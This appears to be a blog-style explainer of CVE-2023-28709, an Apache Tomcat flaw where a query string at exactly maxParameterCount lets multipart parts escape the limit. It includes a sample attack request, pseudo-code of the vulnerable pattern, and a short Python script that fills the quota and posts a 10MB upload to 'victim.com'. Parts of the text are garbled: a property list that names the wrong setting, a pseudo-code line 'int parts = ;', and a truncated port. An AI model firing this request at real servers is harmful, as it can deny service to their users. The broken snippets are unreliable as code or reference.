Apache Tomcat is one of the most popular servlet containers used in enterprise Java environments. For years, it's proven reliable and efficient—but that doesn’t mean it’s immune to vulnerabilities. In this exclusive long read, we’ll unpack CVE-2023-28709, a problem that slipped through the cracks after a previous fix, how it can be exploited in the real world, and show you what the vulnerable code pattern looks like.

What is CVE-2023-28709?

CVE-2023-28709 is a security vulnerability affecting Apache Tomcat, a widely used web server and servlet container. The vulnerability relates to the handling of parameter limits and request parsing. The critical point is: the fix for a previous flaw (CVE-2023-24998) was incomplete.

The Core Issue

Tomcat allows administrators to control how many HTTP parameters a request can have. This is key in defending against denial-of-service (DoS) attacks that flood the server with excessive parameters. The relevant properties are:

maxSwallowSize: Maximum number of bytes Tomcat will swallow to clean up after aborted uploads.

However, if you used non-default HTTP connector settings, specifically set maxParameterCount, and a request hit the *exact* limit using query string parameters, a clever attacker could bypass the check for uploaded (multipart) parts. This means an attacker could send more data than intended, potentially triggering a denial of service condition.

How Does the Exploit Work?

The heart of the exploit is to bet on the Tomcat parameter parsing logic missing the extra parts of a request if the query string already reaches the limit.

Let’s pretend you set maxParameterCount=100 and an attacker sends a GET or POST request like

GET /upload?param1=1&param2=2&...&param100=100 HTTP/1.1
Host: victim.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: 500000

But here’s the trick: the query string already fills the parameter count quota (100/100). When Tomcat tries parsing the multipart body (such as file uploads), it doesn’t enforce the parameter limit anymore. That means more and more parts can be uploaded, bypassing maxParameterCount intended for the request.

If enough giant parts are uploaded, Tomcat’s precious resources are chewed up, bringing the server to its knees—a denial of service.

Code Snippet: Vulnerable Pattern

Here’s a simplified, illustrative version of what goes wrong under the hood.

// Pseudo-code: Tomcat's HTTP request handling

// Parse query string first
int parameterCount = parseQueryString(request.queryString);
if (parameterCount >= maxParameterCount) {
    // stop parsing more query parameters
}

// Later on...
if (request.isMultipart()) {
    // Should also enforce parameter limit here, but didn’t
    int parts = ;
    for (Part part : request.getParts()) {
        parts++;
        // Each part can create more parameters or use more space!
        // No further check if the total parameters exceed the limit
    }
}

Exploit Example

Here's an easy Python exploit script that demonstrates the concept—for educational purposes only!

import requests

host = "http://victim.com:808";
max_param = 100  # Assume the admin set this

# Generate a query string with exactly maxParameterCount parameters
query = "&".join([f"p{i}=a" for i in range(max_param)])

# Prepare a multipart payload well above resource limits
files = {'file': ('large.txt', 'A' * 10**7, 'text/plain')}  # 10MB

url = f"{host}/upload?{query}"

r = requests.post(url, files=files)
print("Status:", r.status_code)

This script fills up the query parameter quota, and sends a gigantic file upload in the same request.

Real-World Impact

- DoS attacks became easier—one crafted request could gobble up memory and CPU on Tomcat servers.
- Sites/services that configured maxParameterCount (to play it safe!) were ironically left at risk.
- Not every Tomcat deployment is exposed (defaults are safe), but custom-tightened configs are common in enterprise.

The Fix

The Apache Tomcat team patched this by making sure limit checks are consistently enforced when parsing both the query string and multipart request bodies. If the quota is already hit, Tomcat will no longer let attackers sneak in extra parameters or parts.

References & Further Reading

- Apache Tomcat Security Advisory - CVE-2023-28709
- NIST CVE entry for CVE-2023-28709
- Original incomplete fix: CVE-2023-24998
- Tomcat HTTP Connector Guide

Final Thoughts

This bug is a reminder: even patches can have holes. Splitting security controls between different phases (like query vs. body parsing) needs careful, holistic checks. If you’re running Tomcat, patch now and review your connector settings! Attackers carefully study changelogs and incomplete fixes—don’t let them get ahead.

*Awareness, quick patching, and consistent configuration reviews are your best defenses against tricky vulnerabilities like CVE-2023-28709.*

Timeline

Published on: 05/22/2023 11:15:00 UTC
Last modified on: 05/27/2023 00:46:00 UTC